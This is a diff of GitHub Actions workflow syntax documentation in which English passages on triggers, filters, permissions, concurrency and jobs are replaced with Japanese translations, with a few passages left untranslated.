+ワークフローの実行をトリガーする特定のアクティビティ。 ほとんどの GitHub イベントは、2 つ以上のアクティビティタイプからトリガーされます。  たとえば、releaseリソースに対するイベントは、release が `published`、`unpublished`、`created`、`edited`、`deleted`、または `prereleased` の場合にトリガーされます。 `types`キーワードを使用すると、ワークフローを実行させるアクティブの範囲を狭くすることができます。 webhook イベントをトリガーするアクティビティタイプが1つだけの場合、`types`キーワードは不要です。
 
-You can use an array of event `types`. For more information about each event and their activity types, see "[Events that trigger workflows](/articles/events-that-trigger-workflows#webhook-events)."
+イベント`types`の配列を使用できます。 各イベントとそのアクティビティタイプの詳細については、「[ワークフローをトリガーするイベント](/articles/events-that-trigger-workflows#webhook-events)」を参照してください。
 
 ```yaml
 # Trigger the workflow on release activity
@@ -49,34 +49,34 @@ on:
 
 ## `on.<push|pull_request>.<branches|tags>`
 
-When using the `push` and `pull_request` events, you can configure a workflow to run on specific branches or tags. For a `pull_request` event, only branches and tags on the base are evaluated. If you define only `tags` or only `branches`, the workflow won't run for events affecting the undefined Git ref.
+`push`および`pull_request`イベントを使用する場合、特定のブランチまたはタグで実行するワークフローを設定できます。 `pull_request`では、ベース上のブランチ及びタグだけが評価されます。 `tags`もしくは`branches`だけを定義すると、定義されていないGit refに影響するイベントに対して、ワークフローが実行されません。
 
 The `branches`, `branches-ignore`, `tags`, and `tags-ignore` keywords accept glob patterns that use characters like `*`, `**`, `+`, `?`, `!` and others to match more than one branch or tag name. If a name contains any of these characters and you want a literal match, you need to *escape* each of these special characters with `\`. For more information about glob patterns, see the "[Filter pattern cheat sheet](#filter-pattern-cheat-sheet)."
 
 ### Example: Including branches and tags
 
-The patterns defined in `branches` and `tags` are evaluated against the Git ref's name. For example, defining the pattern `mona/octocat` in `branches` will match the `refs/heads/mona/octocat` Git ref. The pattern `releases/**` will match the `refs/heads/releases/10` Git ref.
+`branches`および`tags`で定義されているパターンは、Git refの名前と照らし合わせて評価されます。 たとえば、`branches`で`mona/octocat`とパターンを定義すると、`refs/heads/mona/octocat`というGit refにマッチします。 `releases/**`というパターンは、`refs/heads/releases/10`というGit refにマッチします。
 
 ```yaml
 on:
   push:
-    # Sequence of patterns matched against refs/heads
+    # refs/heads とマッチするパターンのシークエンス
     branches:    
-      # Push events on main branch
+      # メインブランチのプッシュイベント
       - main
-      # Push events to branches matching refs/heads/mona/octocat
+      # refs/heads/mona/octocat に一致するブランチにイベントをプッシュする
       - 'mona/octocat'
-      # Push events to branches matching refs/heads/releases/10
+      # refs/heads/releases/10 に一致するブランチにイベントをプッシュする
       - 'releases/**'
-    # Sequence of patterns matched against refs/tags
+    # refs/tags とマッチするパターンのシーケンス
     tags:        
-      - v1             # Push events to v1 tag
-      - v1.*           # Push events to v1.0, v1.1, and v1.9 tags
+      - v1             # イベントを v1 タグにプッシュする
+      - v1.*           # イベントを v1.0、v1.1、および v1.9 タグにプッシュする
 ```
 
 ### Example: Ignoring branches and tags
 
-Anytime a pattern matches the `branches-ignore` or `tags-ignore` pattern, the workflow will not run. The patterns defined in `branches-ignore` and `tags-ignore` are evaluated against the Git ref's name. For example, defining the pattern `mona/octocat` in `branches` will match the `refs/heads/mona/octocat` Git ref. The pattern `releases/**-alpha` in `branches` will match the `refs/releases/beta/3-alpha` Git ref.
+パターンが`branches-ignore`または`tags-ignore`とマッチする場合は常に、ワークフローは実行されません。 `branches-ignore`および`tags-ignore`で定義されているパターンは、Git refの名前と照らし合わせて評価されます。 たとえば、`branches`で`mona/octocat`とパターンを定義すると、`refs/heads/mona/octocat`というGit refにマッチします。 `branches`のパターン`releases/**-alpha`は、`refs/releases/beta/3-alpha`というGit refにマッチします。
 
 ```yaml
 on:
@@ -92,19 +92,19 @@ on:
       - v1.*           # Do not push events to tags v1.0, v1.1, and v1.9
 ```
 
-### Excluding branches and tags
+### ブランチとタグを除外する
 
-You can use two types of filters to prevent a workflow from running on pushes and pull requests to tags and branches.
-- `branches` or `branches-ignore` - You cannot use both the `branches` and `branches-ignore` filters for the same event in a workflow. Use the `branches` filter when you need to filter branches for positive matches and exclude branches. Use the `branches-ignore` filter when you only need to exclude branch names.
-- `tags` or `tags-ignore` - You cannot use both the `tags` and `tags-ignore` filters for the same event in a workflow. Use the `tags` filter when you need to filter tags for positive matches and exclude tags. Use the `tags-ignore` filter when you only need to exclude tag names.
+タグやブランチへのプッシュおよびプルリクエストでワークフローが実行されることを防ぐために、2 種類のフィルタを使うことができます。
+- `branches` または `branches-ignore` - ワークフロー内の同じイベントに対して、`branches` と `branches-ignore` のフィルタを両方使うことはできません。 肯定のマッチに対してブランチをフィルタし、ブランチを除外する必要がある場合は、`branches` フィルタを使います。 ブランチ名のみを除外する必要がある場合は、`branches-ignore` フィルタを使います。
+- `tags` または `tags-ignore` - ワークフロー内の同じイベントに対して、`tags` と `tags-ignore` のフィルタを両方使うことはできません。 肯定のマッチに対してタグをフィルタし、タグを除外する必要がある場合は、`tags` フィルタを使います。 タグ名のみを除外する必要がある場合は、`tags-ignore` フィルタを使います。
 
 ### Example: Using positive and negative patterns
 
-You can exclude `tags` and `branches` using the `!` character. The order that you define patterns matters.
-  - A matching negative pattern (prefixed with `!`) after a positive match will exclude the Git ref.
-  - A matching positive pattern after a negative match will include the Git ref again.
+"`!`" の文字を使うことで、`tags` と `branches` を除外できます。 パターンを定義する順序により、結果に違いが生じます。
+  - 肯定のマッチングパターンの後に否定のマッチングパターン ("`!`" のプレフィクス) を定義すると、Git ref を除外します。
+  - 否定のマッチングパターンの後に肯定のマッチングパターンを定義すると、Git ref を再び含めます。
 
-The following workflow will run on pushes to `releases/10` or `releases/beta/mona`, but not on `releases/10-alpha` or `releases/beta/3-alpha` because the negative pattern `!releases/**-alpha` follows the positive pattern.
+以下のワークフローは、`releases/10` や `releases/beta/mona` へのプッシュで実行されますが、`releases/10-alpha` や `releases/beta/3-alpha` へのプッシュでは実行されません。肯定のマッチングパターンの後に、否定のマッチングパターン `!releases/**-alpha` が続いているからです。
 
 ```yaml
 on:
@@ -116,13 +116,13 @@ on:
 
 ## `on.<push|pull_request>.paths`
 
-When using the `push` and `pull_request` events, you can configure a workflow to run when at least one file does not match `paths-ignore` or at least one modified file matches the configured `paths`. Path filters are not evaluated for pushes to tags.
+`push` および `pull_request` イベントを使用する場合、1 つ以上の変更されたファイルが `paths-ignore` にマッチしない場合や、1 つ以上の変更されたファイルが、設定された `paths` にマッチする場合にワークフローを実行するように設定できます。 タグへのプッシュに対して、パスのフィルタは評価されません。
 
-The `paths-ignore` and `paths` keywords accept glob patterns that use the `*` and `**` wildcard characters to match more than one path name. For more information, see the "[Filter pattern cheat sheet](#filter-pattern-cheat-sheet)."
+`paths-ignore` および `paths` キーワードは、`*` と `**` のワイルドカード文字を使って複数のパス名と一致させる glob パターンを受け付けます。 詳しい情報については、「[フィルタパターンのチートシート](#filter-pattern-cheat-sheet)」を参照してください。
 
 ### Example: Ignoring paths
 
-When all the path names match patterns in `paths-ignore`, the workflow will not run. {% data variables.product.prodname_dotcom %} evaluates patterns defined in `paths-ignore` against the path name. A workflow with the following path filter will only run on `push` events that include at least one file outside the `docs` directory at the root of the repository.
+すべてのパス名が `paths-ignore` のパターンと一致する場合、ワークフローは実行されません。 {% data variables.product.prodname_dotcom %} は、`paths-ignore` に定義されているパターンを、パス名に対して評価します。 以下のパスフィルタを持つワークフローは、リポジトリのルートにある `docs`ディレクトリ外のファイルを少なくとも1つ含む`push`イベントでのみ実行されます。
 
 ```yaml
 on:
@@ -133,7 +133,7 @@ on:
 
 ### Example: Including paths
 
-If at least one path matches a pattern in the `paths` filter, the workflow runs. To trigger a build anytime you push a JavaScript file, you can use a wildcard pattern.
+`paths`フィルタのパターンにマッチするパスが1つでもあれば、ワークフローは実行されます。 JavaScriptファイルをプッシュしたときにビルドを走らせるには、ワイルドカードパターンが使えます。
 
 ```yaml
 on:
@@ -142,19 +142,19 @@ on:
       - '**.js'
 ```
 
-### Excluding paths
+### パスの除外
 
-You can exclude paths using two types of filters. You cannot use both of these filters for the same event in a workflow.
-- `paths-ignore` - Use the `paths-ignore` filter when you only need to exclude path names.
-- `paths` - Use the `paths` filter when you need to filter paths for positive matches and exclude paths.
+パスは、2種類のフィルタで除外できます。 これらのフィルタをワークフロー内の同じイベントで両方使うことはできません。
+- `paths-ignore` - パス名を除外する必要だけがある場合には`paths-ignore`フィルタを使ってください。
+- `paths` - 肯定のマッチのパスとパスの除外のフィルタが必要な場合は`paths`フィルタを使ってください。
 
 ### Example: Using positive and negative patterns
 
-You can exclude `paths` using the `!` character. The order that you define patterns matters:
-  - A matching negative pattern (prefixed with `!`) after a positive match will exclude the path.
-  - A matching positive pattern after a negative match will include the path again.
+`!`文字を使って、`paths`を除外できます。 パターンを定義する順序により、結果に違いが生じます:
+  - 肯定のマッチの後に否定のマッチングパターン（`!`がプレフィックスされている）を置くと、パスが除外されます。
+  - 否定のマッチングパターンの後に肯定のマッチングパターンを定義すると、パスを再び含めます。
 
-This example runs anytime the `push` event includes a file in the `sub-project` directory or its subdirectories, unless the file is in the `sub-project/docs` directory. For example, a push that changed `sub-project/index.js` or `sub-project/src/index.js` will trigger a workflow run, but a push changing only `sub-project/docs/readme.md` will not.
+この例は、`push`イベントに`sub-project`ディレクトリあるいはそのサブディレクトリ内のファイルが含まれ、そのファイルが`sub-project/docs`ディレクトリ内にあるのでない場合に実行されます。 たとえば`sub-project/index.js`もしくは`sub-project/src/index.js`を変更するプッシュはワークフローを実行させますが、`sub-project/docs/readme.md`だけを変更するプッシュは実行させません。
 
 ```yaml
 on:
@@ -164,7 +164,7 @@ on:
       - '!sub-project/docs/**'
 ```
 
-### Git diff comparisons
+### Git diffの比較
 
 {% note %}
 
@@ -172,16 +172,16 @@ on:
 
 {% endnote %}
 
-The filter determines if a workflow should run by evaluating the changed files and running them against the `paths-ignore` or `paths` list. If there are no files changed, the workflow will not run.
+フィルタは、変更されたファイルを`paths-ignore`あるいは`paths`リストに対して評価することによって、ワークフローを実行すべきか判断します。 ファイルが変更されていない場合、ワークフローは実行されません。
 
-{% data variables.product.prodname_dotcom %} generates the list of changed files using two-dot diffs for pushes and three-dot diffs for pull requests:
-- **Pull requests:** Three-dot diffs are a comparison between the most recent version of the topic branch and the commit where the topic branch was last synced with the base branch.
-- **Pushes to existing branches:** A two-dot diff compares the head and base SHAs directly with each other.
-- **Pushes to new branches:** A two-dot diff against the parent of the ancestor of the deepest commit pushed.
+{% data variables.product.prodname_dotcom %}はプッシュに対してはツードットdiff、プルリクエストに対してはスリードットdiffを使って変更されたファイルのリストを生成します。
+- **Pull Request：** スリードットdiffは、トピックブランチの最新バージョンとトピックブランチがベースブランチと最後に同期されたコミットとの比較です。
+- **既存のブランチへのプッシュ：** ツードットdiffは、headとベースのSHAを互いに直接比較します。
+- **新しいブランチへのプッシュ：** 最も深いプッシュの先祖の親に対するツードットdiffです。
 
 Diffs are limited to 300 files. If there are files changed that aren't matched in the first 300 files returned by the filter, the workflow will not run. You may need to create more specific filters so that the workflow will run automatically.
 
-For more information, see "[About comparing branches in pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)."
+詳しい情報については「[プルリクエスト中のブランチの比較について](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)」を参照してください。
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
 ## `on.workflow_call.inputs`
@@ -196,7 +196,7 @@ Within the called workflow, you can use the `inputs` context to refer to an inpu
 
 If a caller workflow passes an input that is not specified in the called workflow, this results in an error.
 
-### Example
+### サンプル
 
 {% raw %}
 ```yaml
@@ -208,7 +208,7 @@ on:
         default: 'john-doe'
         required: false
         type: string
-  
+
 jobs:
   print-username:
     runs-on: ubuntu-latest
@@ -231,7 +231,7 @@ A map of outputs for a called workflow. Called workflow outputs are available to
 
 In the example below, two outputs are defined for this reusable workflow: `workflow_output1` and `workflow_output2`. These are mapped to outputs called `job_output1` and `job_output2`, both from a job called `my_job`.
 
-### Example
+### サンプル
 
 {% raw %}
 ```yaml
@@ -258,7 +258,7 @@ Within the called workflow, you can use the `secrets` context to refer to a secr
 
 If a caller workflow passes a secret that is not specified in the called workflow, this results in an error.
 
-### Example
+### サンプル
 
 {% raw %}
 ```yaml
@@ -268,7 +268,7 @@ on:
       access-token:
         description: 'A token passed from the caller workflow'
         required: false
-  
+
 jobs:
   pass-secret-to-action:
     runs-on: ubuntu-latest
@@ -283,7 +283,7 @@ jobs:
 
 ## `on.workflow_call.secrets.<secret_id>`
 
-A string identifier to associate with the secret. 
+A string identifier to associate with the secret.
 
 ## `on.workflow_call.secrets.<secret_id>.required`
 
@@ -294,9 +294,9 @@ A boolean specifying whether the secret must be supplied.
 
 When using the `workflow_dispatch` event, you can optionally specify inputs that are passed to the workflow.
 
-The triggered workflow receives the inputs in the `github.event.inputs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
+The triggered workflow receives the inputs in the `github.event.inputs` context. 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts#github-context)」を参照してください。
 
-### Example
+### サンプル
 {% raw %}
 ```yaml
 on: 
@@ -319,7 +319,7 @@ on:
         description: 'Environment to run tests against'
         type: environment
         required: true {% endif %}
-  
+
 jobs:
   print-tag:
     runs-on: ubuntu-latest
@@ -339,16 +339,16 @@ For more information about cron syntax, see "[Events that trigger workflows](/ac
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 ## `permissions`
 
-You can modify the default permissions granted to the `GITHUB_TOKEN`, adding or removing access as required, so that you only allow the minimum required access. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+`GITHUB_TOKEN` に付与されているデフォルトの権限を変更し、必要に応じてアクセスを追加または削除して、必要最小限のアクセスのみを許可することができます。 詳しい情報については、「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)」を参照してください。
 
-You can use `permissions` either as a top-level key, to apply to all jobs in the workflow, or within specific jobs. When you add the `permissions` key within a specific job, all actions and run commands within that job that use the `GITHUB_TOKEN` gain the access rights you specify.  For more information, see [`jobs.<job_id>.permissions`](#jobsjob_idpermissions).
+`permissions` は、最上位キーとしてワークフロー内のすべてのジョブに適用するために、または特定のジョブ内で使用できます。 特定のジョブ内に `permissions` キーを追加すると、`GITHUB_TOKEN` を使用するそのジョブ内のすべてのアクションと実行コマンドが、指定したアクセス権を取得します。  詳しい情報については、[`jobs.<job_id>.permissions`](#jobsjob_idpermissions) を参照してください。
 
 {% data reusables.github-actions.github-token-available-permissions %}
 {% data reusables.github-actions.forked-write-permission %}
 
-### Example
+### サンプル
 
-This example shows permissions being set for the `GITHUB_TOKEN` that will apply to all jobs in the workflow. All permissions are granted read access.
+この例は、ワークフロー内のすべてのジョブに適用される `GITHUB_TOKEN` に設定されている権限を示しています。 すべての権限に読み取りアクセスが付与されます。
 
 ```yaml
 name: "My workflow"
@@ -364,11 +364,11 @@ jobs:
 
 ## `env`
 
-A `map` of environment variables that are available to the steps of all jobs in the workflow. You can also set environment variables that are only available to the steps of a single job or to a single step. For more information, see [`jobs.<job_id>.env`](#jobsjob_idenv) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
+ワークフロー中のすべてのジョブのステップから利用できる環境変数の`map`です。 1つのジョブのステップ、あるいは1つのステップからだけ利用できる環境変数を設定することもできます。 詳しい情報については「[`jobs.<job_id>.env`](#jobsjob_idenv)」及び「[`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv)を参照してください。
 
 {% data reusables.repositories.actions-env-var-note %}
 
-### Example
+### サンプル
 
 ```yaml
 env:
@@ -377,17 +377,17 @@ env:
 
 ## `defaults`
 
-A `map` of default settings that will apply to all jobs in the workflow. You can also set default settings that are only available to a job. For more information, see [`jobs.<job_id>.defaults`](#jobsjob_iddefaults).
+デフォルト設定の`map`で、ワークフロー中のすべてのジョブに適用されます。 1つのジョブだけで利用できるデフォルト設定を設定することもできます。 詳しい情報については[`jobs.<job_id>.defaults`](#jobsjob_iddefaults)を参照してください。
 
 {% data reusables.github-actions.defaults-override %}
 
 ## `defaults.run`
 
-You can provide default `shell` and `working-directory` options for all [`run`](#jobsjob_idstepsrun) steps in a workflow. You can also set default settings for `run` that are only available to a job. For more information, see [`jobs.<job_id>.defaults.run`](#jobsjob_iddefaultsrun). You cannot use contexts or expressions in this keyword.
+ワークフロー中のすべての[`run`](#jobsjob_idstepsrun)ステップに対するデフォルトの`shell`及び`working-directory`オプションを提供することができます。 1つのジョブだけで利用できる`run`のデフォルト設定を設定することもできます。 詳しい情報については[`jobs.<job_id>.defaults.run`](#jobsjob_iddefaultsrun)を参照してください。 このキーワード中では、コンテキストや式を使うことはできません。
 
 {% data reusables.github-actions.defaults-override %}
 
-### Example
+### サンプル
 
 ```yaml
 defaults:
@@ -399,28 +399,28 @@ defaults:
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
 ## `concurrency`
 
-Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can only use the [`github` context](/actions/learn-github-actions/contexts#github-context). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
+並行処理により、同じ並行処理グループを使用する単一のジョブまたはワークフローのみが一度に実行されます。 並行処理グループには、任意の文字列または式を使用できます。 The expression can only use the [`github` context](/actions/learn-github-actions/contexts#github-context). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-You can also specify `concurrency` at the job level. For more information, see [`jobs.<job_id>.concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency).
+ジョブレベルで `concurrency` を指定することもできます。 詳しい情報については、[`jobs.<job_id>.concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency) を参照してください。
 
 {% data reusables.actions.actions-group-concurrency %}
 
 {% endif %}
 ## `jobs`
 
-A workflow run is made up of one or more jobs. Jobs run in parallel by default. To run jobs sequentially, you can define dependencies on other jobs using the `jobs.<job_id>.needs` keyword.
+1つのワークフロー実行は、1つ以上のジョブからなります。 デフォルトでは、ジョブは並行して実行されます。 ジョブを逐次的に実行するには、`jobs.<job_id>.needs`キーワードを使用して他のジョブに対する依存関係を定義します。
 
-Each job runs in a runner environment specified by `runs-on`.
+それぞれのジョブは、`runs-on`で指定されたランナー環境で実行されます。
 
-You can run an unlimited number of jobs as long as you are within the workflow usage limits. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
+ワークフローの利用限度内であれば、実行するジョブ数に限度はありません。 For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
 
-If you need to find the unique identifier of a job running in a workflow run, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. For more information, see "[Workflow Jobs](/rest/reference/actions#workflow-jobs)."
+If you need to find the unique identifier of a job running in a workflow run, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. 詳しい情報については、「[ワークフロージョブ](/rest/reference/actions#workflow-jobs)」を参照してください。
 
 ## `jobs.<job_id>`
 
-Create an identifier for your job by giving it a unique name. The key `job_id` is a string and its value is a map of the job's configuration data. You must replace `<job_id>` with a string that is unique to the `jobs` object. The `<job_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+Create an identifier for your job by giving it a unique name. `job_id`キーは文字列型で、その値はジョブの設定データのマップとなるものです。 `<job_id>`は、`jobs`オブジェクトごとに一意の文字列に置き換える必要があります。 `<job_id>`は、英字または`_`で始める必要があり、英数字と`-`、`_`しか使用できません。
 
-### Example
+### サンプル
 
 In this example, two jobs have been created, and their `job_id` values are `my_first_job` and `my_second_job`.
 
@@ -434,11 +434,11 @@ jobs:
 
 ## `jobs.<job_id>.name`
 
-The name of the job displayed on {% data variables.product.prodname_dotcom %}.
+{% data variables.product.prodname_dotcom %}に表示されるジョブの名前。
 
 ## `jobs.<job_id>.needs`
 
-Identifies any jobs that must complete successfully before this job will run. It can be a string or array of strings. If a job fails, all jobs that need it are skipped unless the jobs use a conditional expression that causes the job to continue.
+このジョブの実行前に正常に完了する必要があるジョブを示します。 文字列型または文字列の配列です。 1つのジョブが失敗した場合、失敗したジョブを続行するような条件式を使用していない限り、そのジョブを必要としている他のジョブはすべてスキップされます。
 
 ### Example: Requiring dependent jobs to be successful
 
@@ -451,9 +451,9 @@ jobs:
     needs: [job1, job2]
 ```
 
-In this example, `job1` must complete successfully before `job2` begins, and `job3` waits for both `job1` and `job2` to complete.
+この例では、`job1`が正常に完了してから`job2`が始まり、`job3`は`job1`と`job2`が完了するまで待機します。
 
-The jobs in this example run sequentially:
+つまり、この例のジョブは逐次実行されるということです。
 
 1. `job1`
 2. `job2`
@@ -471,61 +471,61 @@ jobs:
     needs: [job1, job2]
 ```
 
-In this example, `job3` uses the `always()` conditional expression so that it always runs after `job1` and `job2` have completed, regardless of whether they were successful. For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)."
+この例では、`job3`は条件式の`always()` を使っているので、`job1`と`job2`が成功したかどうかにかかわらず、それらのジョブが完了したら常に実行されます。 For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)."
 
 ## `jobs.<job_id>.runs-on`
 
-**Required**. The type of machine to run the job on. {% ifversion fpt or ghec %}The machine can be either a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner.{% endif %} You can provide `runs-on` as a single string or as an array of strings. If you specify an array of strings, your workflow will run on a self-hosted runner whose labels match all of the specified `runs-on` values, if available. If you would like to run your workflow on multiple machines, use [`jobs.<job_id>.strategy`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy).
+**必須**。 ジョブが実行されるマシンの種類。 {% ifversion fpt or ghec %}The machine can be either a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner.{% endif %} You can provide `runs-on` as a single string or as an array of strings. If you specify an array of strings, your workflow will run on a self-hosted runner whose labels match all of the specified `runs-on` values, if available. If you would like to run your workflow on multiple machines, use [`jobs.<job_id>.strategy`](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy).
 
 {% ifversion fpt or ghec or ghes %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-### {% data variables.product.prodname_dotcom %}-hosted runners
+### {% data variables.product.prodname_dotcom %}ホストランナー
 
-If you use a {% data variables.product.prodname_dotcom %}-hosted runner, each job runs in a fresh instance of a virtual environment specified by `runs-on`.
+{% data variables.product.prodname_dotcom %}ホストランナーを使う場合、それぞれのジョブは`runs-on`で指定された仮想環境の新しいインスタンスで実行されます。
 
-Available {% data variables.product.prodname_dotcom %}-hosted runner types are:
+利用可能な{% data variables.product.prodname_dotcom %}ホストランナーの種類は以下のとおりです。
 
 {% data reusables.github-actions.supported-github-runners %}
 
-#### Example
+#### サンプル
 
 ```yaml
 runs-on: ubuntu-latest
 ```
 
-For more information, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)."
+詳しい情報については「[{% data variables.product.prodname_dotcom %}ホストランナーの仮想環境](/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)」を参照してください。
 {% endif %}
 
 {% ifversion fpt or ghec or ghes %}
-### Self-hosted runners
+### セルフホストランナー
 {% endif %}
 
 {% data reusables.actions.ae-self-hosted-runners-notice %}
 
 {% data reusables.github-actions.self-hosted-runner-labels-runs-on %}
 
-#### Example
+#### サンプル
 
 ```yaml
 runs-on: [self-hosted, linux]
 ```
 
-For more information, see "[About self-hosted runners](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)."
+詳しい情報については「[セルフホストランナーについて](/github/automating-your-workflow-with-github-actions/about-self-hosted-runners)」及び「[ワークフロー内でのセルフホストランナーの利用](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)」を参照してください。
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 ## `jobs.<job_id>.permissions`
 
-You can modify the default permissions granted to the `GITHUB_TOKEN`, adding or removing access as required, so that you only allow the minimum required access. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+`GITHUB_TOKEN` に付与されているデフォルトの権限を変更し、必要に応じてアクセスを追加または削除して、必要最小限のアクセスのみを許可することができます。 詳しい情報については、「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)」を参照してください。
 
-By specifying the permission within a job definition, you can configure a different set of permissions for the `GITHUB_TOKEN` for each job, if required. Alternatively, you can specify the permissions for all jobs in the workflow. For information on defining permissions at the workflow level, see [`permissions`](#permissions).
+ジョブ定義内で権限を指定することで、必要に応じて、ジョブごとに `GITHUB_TOKEN` に異なる権限のセットを設定できます。 または、ワークフロー内のすべてのジョブの権限を指定することもできます。 ワークフローレベルでの権限の定義については、 [`permissions`](#permissions) を参照してください。
 
 {% data reusables.github-actions.github-token-available-permissions %}
 {% data reusables.github-actions.forked-write-permission %}
 
-### Example
+### サンプル
 
-This example shows permissions being set for the `GITHUB_TOKEN` that will only apply to the job named `stale`. Write access is granted for the `issues` and `pull-requests` scopes. All other scopes will have no access.
+この例では、`stale` という名前のジョブにのみ適用される `GITHUB_TOKEN` に設定されている権限を示しています。 `issues` および `pull-requests` のスコープに対して書き込みアクセスが許可されます。 他のすべてのスコープにはアクセスできません。
 
 ```yaml
 jobs:
@@ -544,18 +544,18 @@ jobs:
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 ## `jobs.<job_id>.environment`
 
-The environment that the job references. All environment protection rules must pass before a job referencing the environment is sent to a runner. For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
+ジョブが参照する環境。 環境を参照するジョブがランナーに送られる前に、その環境のすべて保護ルールはパスしなければなりません。 For more information, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
 
-You can provide the environment as only the environment `name`, or as an environment object with the `name` and `url`. The URL maps to `environment_url` in the deployments API. For more information about the deployments API, see "[Deployments](/rest/reference/repos#deployments)."
+環境は、環境の`name`だけで、あるいは`name` and `url`を持つenvironmentオブジェクトとして渡すことができます。 デプロイメントAPIでは、このURLは`environment_url`にマップされます。 デプロイメントAPIに関する詳しい情報については「[デプロイメント](/rest/reference/repos#deployments)」を参照してください。
 
-#### Example using a single environment name
+#### 1つの環境名を使う例
 {% raw %}
 ```yaml
 environment: staging_environment
 ```
 {% endraw %}
 
-#### Example using environment name and URL
+#### 環境名とURLを使う例
 
 ```yaml
 environment:
@@ -565,7 +565,7 @@ environment:
 
 The URL can be an expression and can use any context except for the [`secrets` context](/actions/learn-github-actions/contexts#contexts). For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-### Example
+### サンプル
 {% raw %}
 ```yaml
 environment:
@@ -580,33 +580,33 @@ environment:
 
 {% note %}
 
-**Note:** When concurrency is specified at the job level, order is not guaranteed for jobs or runs that queue within 5 minutes of each other.
+**注釈:** ジョブレベルで並行処理が指定されている場合、ジョブの順序は保証されないか、互いに 5 分以内にそのキューを実行します。
 
 {% endnote %}
 
-Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can use any context except for the `secrets` context. For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
+並行処理により、同じ並行処理グループを使用する単一のジョブまたはワークフローのみが一度に実行されます。 並行処理グループには、任意の文字列または式を使用できます。 式は、`secrets` コンテキストを除く任意のコンテキストを使用できます。 For more information about expressions, see "[Expressions](/actions/learn-github-actions/expressions)."
 
-You can also specify `concurrency` at the workflow level. For more information, see [`concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#concurrency).
+ワークフローレベルで `concurrency` を指定することもできます。 詳しい情報については、[`concurrency`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#concurrency) を参照してください。
 
 {% data reusables.actions.actions-group-concurrency %}
 
 {% endif %}
 ## `jobs.<job_id>.outputs`
 
-A `map` of outputs for a job. Job outputs are available to all downstream jobs that depend on this job. For more information on defining job dependencies, see [`jobs.<job_id>.needs`](#jobsjob_idneeds).
+ジョブからの出力の`map`です。 ジョブの出力は、そのジョブに依存しているすべての下流のジョブから利用できます。 ジョブの依存関係の定義に関する詳しい情報については[`jobs.<job_id>.needs`](#jobsjob_idneeds)を参照してください。
 
-Job outputs are strings, and job outputs containing expressions are evaluated on the runner at the end of each job. Outputs containing secrets are redacted on the runner and not sent to {% data variables.product.prodname_actions %}.
+ジョブの出力は文字列であり、式を含むジョブの出力は、それぞれのジョブの終了時にランナー上で評価されます。 シークレットを含む出力はランナー上で編集され、{% data variables.product.prodname_actions %}には送られません。
 
